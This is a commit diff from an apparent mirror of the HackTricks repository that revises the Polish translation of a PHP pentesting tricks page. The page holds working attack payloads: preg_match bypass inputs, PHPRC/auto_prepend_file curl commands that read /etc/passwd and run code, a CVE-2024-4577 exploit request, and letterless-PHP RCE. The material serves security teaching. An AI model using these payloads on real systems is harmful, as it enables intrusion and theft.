mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R
This commit is contained in:
parent
6a1a983aa2
commit
6712538d80
1 changed files with 50 additions and 29 deletions
|
@ -48,9 +48,9 @@ Tabele porównań w PHP: [https://www.php.net/manual/en/types.comparisons.php](h
|
|||
|
||||
* `"string" == 0 -> True` Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie
|
||||
* `"0xAAAA" == "43690" -> True` Ciągi złożone z liczb w formacie dziesiętnym lub szesnastkowym można porównać z innymi liczbami/ciągami znaków z wynikiem True, jeśli liczby były takie same (liczby w ciągu znaków są interpretowane jako liczby)
|
||||
* `"0e3264578" == 0 --> True` Ciąg rozpoczynający się od "0e" i zawierający cokolwiek będzie równy 0
|
||||
* `"0X3264578" == 0X --> True` Ciąg rozpoczynający się od "0" i zawierający dowolną literę (X może być dowolną literą) oraz cokolwiek będzie równy 0
|
||||
* `"0e12334" == "0" --> True` Jest to bardzo interesujące, ponieważ w niektórych przypadkach można kontrolować wejściowy ciąg znaków "0" oraz pewną zawartość, która jest haszowana i porównywana do niego. Dlatego jeśli można podać wartość, która spowoduje utworzenie hasza zaczynającego się od "0e" i bez żadnej litery, można ominąć porównanie. Można znaleźć **już zahaszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"0e3264578" == 0 --> True` Ciąg znaków rozpoczynający się od "0e" i poprzedzony czymkolwiek będzie równy 0
|
||||
* `"0X3264578" == 0X --> True` Ciąg znaków rozpoczynający się od "0" i poprzedzony dowolną literą (X może być dowolną literą) oraz poprzedzony czymkolwiek będzie równy 0
|
||||
* `"0e12334" == "0" --> True` Jest to bardzo interesujące, ponieważ w niektórych przypadkach można kontrolować wejściowy ciąg znaków "0" oraz pewne treści, które są haszowane i porównywane do niego. Dlatego jeśli można podać wartość, która spowoduje utworzenie hasza zaczynającego się od "0e" i bez żadnej litery, można ominąć porównanie. Można znaleźć **już zahaszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` Dowolna litera w ciągu znaków jest równa liczbie całkowitej 0
|
||||
|
||||
Więcej informacji na stronie [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
@ -101,7 +101,7 @@ echo preg_match("/^.*1/",$myinput);
|
|||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
Aby ominąć tę kontrolę, możesz **wysłać wartość z zakodowanymi znakami nowej linii** (`%0A`) lub jeśli możesz wysłać **dane JSON**, wyślij je w **kilku wierszach**:
|
||||
Aby ominąć tę kontrolę, możesz **wysłać wartość z zakodowanymi znakami nowej linii** (`%0A`) lub jeśli możesz wysłać **dane JSON**, wyślij je w **kilku liniach**:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
|
@ -109,10 +109,10 @@ Aby ominąć tę kontrolę, możesz **wysłać wartość z zakodowanymi znakami
|
|||
```
|
||||
Znajdź przykład tutaj: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
|
||||
#### **Bypass błędu długości**
|
||||
#### **Bypassowanie błędu długości**
|
||||
|
||||
(Ten bypass został wypróbowany na PHP 5.2.5 i nie udało mi się go uruchomić na PHP 7.3.15)\
|
||||
Jeśli możesz przesłać do `preg_match()` **bardzo duży poprawny input**, nie będzie w stanie go przetworzyć i będziesz mógł **obejść** sprawdzenie. Na przykład, jeśli jest na czarnej liście JSON, możesz wysłać:
|
||||
Jeśli możesz przesłać do `preg_match()` **bardzo dużą poprawną wartość wejściową**, nie będzie w stanie jej przetworzyć i będziesz mógł **obejść** sprawdzenie. Na przykład, jeśli jest na czarnej liście JSON, możesz przesłać:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
|
@ -122,10 +122,10 @@ Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
W skrócie problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na bibliotece [PCRE](http://www.pcre.org/). W PCRE pewne wyrażenia regularne są dopasowywane za pomocą wielu rekurencyjnych wywołań, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na ilość dozwolonych rekursji, ale w PHP ten limit [domyślnie wynosi 100 000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
|
||||
W skrócie problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na bibliotece [PCRE](http://www.pcre.org/). W PCRE pewne wyrażenia regularne są dopasowywane za pomocą wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na ilość dozwolonych rekursji, ale w PHP ten limit [domyślnie wynosi 100 000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
|
||||
|
||||
[Wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) został również podlinkowany w poście, gdzie bardziej szczegółowo omówiono ten problem. Naszym zadaniem było teraz jasne:\
|
||||
**Wysłać dane wejściowe, które sprawią, że wyrażenie regularne wykona ponad 100 000 rekursji, powodując SIGSEGV, sprawiając, że funkcja `preg_match()` zwróci `false`, co sprawi, że aplikacja uzna, iż nasze dane wejściowe nie są złośliwe, a na końcu ładując coś w stylu `{system(<bardzozłaźliczba>)}` aby uzyskać SSTI --> RCE --> flag :)**.
|
||||
**Wysłać dane wejściowe, które sprawią, że wyrażenie regularne wykona ponad 100 000 rekursji, powodując SIGSEGV, sprawiając, że funkcja `preg_match()` zwróci `false`, co sprawi, że aplikacja uzna, że nasze dane wejściowe nie są złośliwe, rzucając niespodziankę na końcu ładunku w stylu `{system(<bardzozłepolecenie>)}` aby uzyskać SSTI --> RCE --> flagę :)**.
|
||||
|
||||
Cóż, w terminach wyrażeń regularnych, faktycznie nie wykonujemy 100 tys. "rekursji", ale zamiast tego liczymy "kroki wstecz", które, jak podaje [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynoszą 1 000 000 (1M) w zmiennej `pcre.backtrack_limit`.\
|
||||
Aby to osiągnąć, `'X'*500_001` spowoduje wykonanie 1 miliona kroków wstecz (500 tys. do przodu i 500 tys. do tyłu):
|
||||
|
@ -143,9 +143,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
|
|||
$obfs .= ""; //string "7"
|
||||
$obfs += ""; //int 7
|
||||
```
|
||||
## Wykonaj Po Przekierowaniu (EAR)
|
||||
## Wykonaj po przekierowaniu (EAR)
|
||||
|
||||
Jeśli PHP przekierowuje do innej strony, ale nie jest wywoływana funkcja **`die`** lub **`exit`** po ustawieniu nagłówka `Location`, PHP kontynuuje wykonywanie i dołącza dane do ciała strony:
|
||||
Jeśli PHP przekierowuje na inną stronę, ale nie jest wywoływana funkcja **`die`** lub **`exit`** po ustawieniu nagłówka `Location`, PHP kontynuuje wykonywanie i dołącza dane do ciała strony:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
@ -165,16 +165,16 @@ Sprawdź:
|
|||
|
||||
## Więcej sztuczek
|
||||
|
||||
* **register\_globals**: W **PHP < 4.1.1.1** lub jeśli jest błędnie skonfigurowany, **register\_globals** może być aktywny (lub ich zachowanie jest imitowane). Oznacza to, że w zmiennych globalnych jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", można uzyskać do niej dostęp za pomocą **$param. Dlatego wysyłając parametry HTTP, można nadpisać zmienne**, które są używane w kodzie.
|
||||
* **Ciasteczka PHPSESSION z tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, można sprawić, że ścieżka **uzyskuje dostęp do ciasteczka z innej ścieżki**, ustawiając wartość ciasteczka z innej ścieżki.\
|
||||
* **register\_globals**: W **PHP < 4.1.1.1** lub jeśli jest źle skonfigurowany, **register\_globals** może być aktywny (lub ich zachowanie jest imitowane). Oznacza to, że w zmiennych globalnych jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", można uzyskać do niej dostęp za pomocą **$param. Dlatego wysyłając parametry HTTP, można nadpisać zmienne**, które są używane w kodzie.
|
||||
* **Ciasteczka PHPSESSION** z tej samej domeny są przechowywane w tym samym miejscu, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, można sprawić, że ścieżka **uzyskuje dostęp do ciasteczka z innej ścieżki**, ustawiając wartość ciasteczka z innej ścieżki.\
|
||||
W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, można sprawić, że **wartość tej zmiennej w ścieżce 1 będzie stosowana do ścieżki 2**. Następnie ścieżka 2 będzie uznawać zmienne ścieżki 1 za ważne (nadając ciasteczku nazwę odpowiadającą jej w ścieżce 2).
|
||||
* Gdy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\<USERNAME>** aby zobaczyć, czy katalogi php są aktywowane.
|
||||
* [**LFI i RCE za pomocą opakowań php**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
Te funkcje są zazwyczaj używane w PHP do **generowania skrótów z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu ze skrótem.\
|
||||
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD\_DEFAULT jest często takie samo jak PASSWORD\_BCRYPT.** Aktualnie **PASSWORD\_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz utworzyć skrót czegoś większego niż 72 bajty tym algorytmem, użyte zostanie tylko pierwsze 72B:
|
||||
Te funkcje są zazwyczaj używane w PHP do **generowania hashy z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu z haszem.\
|
||||
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD\_DEFAULT jest często takie samo jak PASSWORD\_BCRYPT.** Aktualnie **PASSWORD\_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz zahaszować coś większego niż 72 bajty tym algorytmem, użyte zostaną tylko pierwsze 72B:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -182,13 +182,13 @@ False
|
|||
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
True
|
||||
```
|
||||
### Bypassowanie nagłówków HTTP poprzez nadużycie błędów PHP
|
||||
### Ominięcie nagłówków HTTP poprzez nadużycie błędów PHP
|
||||
|
||||
#### Wywołanie błędu po ustawieniu nagłówków
|
||||
|
||||
Z [**tego wątku na Twitterze**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) można zobaczyć, że wysłanie więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików spowoduje, że PHP nie będzie ustawiał nagłówków w odpowiedzi.
|
||||
|
||||
Pozwala to na ominięcie na przykład ustawiania nagłówków CSP w kodach takich jak:
|
||||
Pozwala to na ominięcie na przykład nagłówków CSP ustawionych w kodach takich jak:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
|
@ -279,30 +279,51 @@ Aby odkryć liczbę nawiasów, które musisz zamknąć:
|
|||
|
||||
### **RCE za pośrednictwem .httaccess**
|
||||
|
||||
Jeśli możesz **załadować** plik **.htaccess**, możesz **skonfigurować** kilka rzeczy, a nawet wykonać kod (konfigurując pliki z rozszerzeniem .htaccess do **wykonywania**).
|
||||
Jeśli możesz **załadować** plik **.htaccess**, możesz **skonfigurować** kilka rzeczy, a nawet wykonać kod (konfigurując te pliki z rozszerzeniem .htaccess do **wykonywania**).
|
||||
|
||||
Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul/htshells)
|
||||
|
||||
### RCE za pośrednictwem zmiennych środowiskowych
|
||||
|
||||
Jeśli znajdziesz podatność, która pozwala Ci **modyfikować zmienne środowiskowe w PHP** (oraz inną do wgrywania plików, chociaż po dokładniejszym zbadaniu może to zostać zabezpieczone), możesz wykorzystać to zachowanie do uzyskania **RCE**.
|
||||
Jeśli znajdziesz podatność, która pozwala Ci **modyfikować zmienne środowiskowe w PHP** (i inną do wgrywania plików, chociaż po dokładniejszym zbadaniu może to zostać zabezpieczone), możesz wykorzystać to zachowanie do uzyskania **RCE**.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binariów (choć w tym przypadku może nie działać).
|
||||
- **`PHPRC`** : Wskazuje PHP, **gdzie znajduje się plik konfiguracyjny**, zwykle nazywany `php.ini`. Jeśli możesz wgrać swój własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`** określający drugi wgrany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
|
||||
1. Wgraj plik PHP zawierający nasz kod powłoki
|
||||
2. Wgraj drugi plik, zawierający dyrektywę **`auto_prepend_file`** instruującą preprocesor PHP do wykonania pliku wgraliśmy w kroku 1
|
||||
2. Wgraj drugi plik zawierający dyrektywę **`auto_prepend_file`** instruującą preprocesor PHP do wykonania pliku wgraliśmy w kroku 1
|
||||
3. Ustaw zmienną `PHPRC` na plik wgrany w kroku 2.
|
||||
- Uzyskaj więcej informacji na temat wykonania tego łańcucha [**z oryginalnego raportu**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
- **PHPRC** - kolejna opcja
|
||||
- Jeśli **nie możesz wgrywać plików**, możesz użyć w FreeBSD pliku "file" `/dev/fd/0`, który zawiera **`stdin`**, będący **treścią** żądania wysłanego do `stdin`:
|
||||
- Jeśli **nie możesz wgrywać plików**, w FreeBSD możesz użyć "pliku" `/dev/fd/0`, który zawiera **`stdin`**, będący **treścią** żądania wysłanego do `stdin`:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- Lub aby uzyskać RCE, włącz **`allow_url_include`** i dodaj plik z **kodem PHP w formacie base64**:
|
||||
- Lub aby uzyskać RCE, włącz **`allow_url_include`** i dodaj plik z **kodem PHP w base64**:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
- Technika [**z tego raportu**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
Serwer WWW analizuje żądania HTTP i przekazuje je do skryptu PHP wykonującego żądanie, takie jak [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) jako `php.exe cgi.php foo=bar`, co pozwala na wstrzyknięcie parametrów. Pozwala to na wstrzyknięcie następujących parametrów w celu załadowania kodu PHP z treści:
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
Ponadto, możliwe jest wstrzyknięcie parametru "-" za pomocą znaku 0xAD ze względu na późniejszą normalizację PHP. Sprawdź przykład ataku z [**tego postu**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
```jsx
|
||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||
Host: {{host}}
|
||||
User-Agent: curl/8.3.0
|
||||
Accept: */*
|
||||
Content-Length: 23
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: keep-alive
|
||||
|
||||
<?php
|
||||
phpinfo();
|
||||
?>
|
||||
|
||||
```
|
||||
## Analiza statyczna PHP
|
||||
|
||||
Sprawdź, czy możesz wstawić kod w wywołania tych funkcji (z [tutaj](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||
Sprawdź, czy możesz wstawić kod do wywołań tych funkcji (z [tutaj](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||
```php
|
||||
exec, shell_exec, system, passthru, eval, popen
|
||||
unserialize, include, file_put_cotents
|
||||
|
@ -310,13 +331,13 @@ $_COOKIE | if #This mea
|
|||
```
|
||||
Jeśli debugujesz aplikację PHP, możesz globalnie włączyć drukowanie błędów w `/etc/php5/apache2/php.ini`, dodając `display_errors = On` i zrestartować apache: `sudo systemctl restart apache2`
|
||||
|
||||
### Deobfuskacja kodu PHP
|
||||
### Odszyfrowywanie kodu PHP
|
||||
|
||||
Możesz użyć **strony internetowej** [**www.unphp.net**](http://www.unphp.net) **do deobfuskacji kodu PHP.**
|
||||
Możesz użyć **strony** [**www.unphp.net**](http://www.unphp.net) **do odszyfrowania kodu PHP.**
|
||||
|
||||
## PHP Wrappery i Protokoły
|
||||
## Owińce i protokoły PHP
|
||||
|
||||
Wrappery i protokoły PHP mogą pozwolić Ci **obejść zabezpieczenia zapisu i odczytu** w systemie i go skompromitować. Aby uzyskać [**więcej informacji, sprawdź tę stronę**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
Owińce i protokoły PHP mogą pozwolić Ci **obejść zabezpieczenia zapisu i odczytu** w systemie i go skompromitować. Aby uzyskać [**więcej informacji, sprawdź tę stronę**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## Xdebug nieuwierzytelniona RCE
|
||||
|
||||
|
@ -334,7 +355,7 @@ echo "${Da}"; //Drums
|
|||
echo "$x ${$x}"; //Da Drums
|
||||
echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## RCE wykorzystujące nowe $\_GET\["a"]\($\_GET\["b"])
|
||||
## Wykorzystywanie RCE poprzez nowe $\_GET\["a"]\($\_GET\["b"])
|
||||
|
||||
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz być w stanie uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak:
|
||||
|
||||
|
@ -366,7 +387,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
|||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
Więc jeśli możesz **wykonać dowolny kod PHP bez użycia cyfr i liter**, możesz wysłać żądanie, wykorzystując poniższy payload do wykonania arbitralnego kodu PHP:
|
||||
Więc jeśli możesz **wykonać dowolne PHP bez liczb i liter**, możesz wysłać żądanie, jak poniżej, nadużywając tego ładunku, aby wykonać dowolne PHP:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -446,7 +467,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue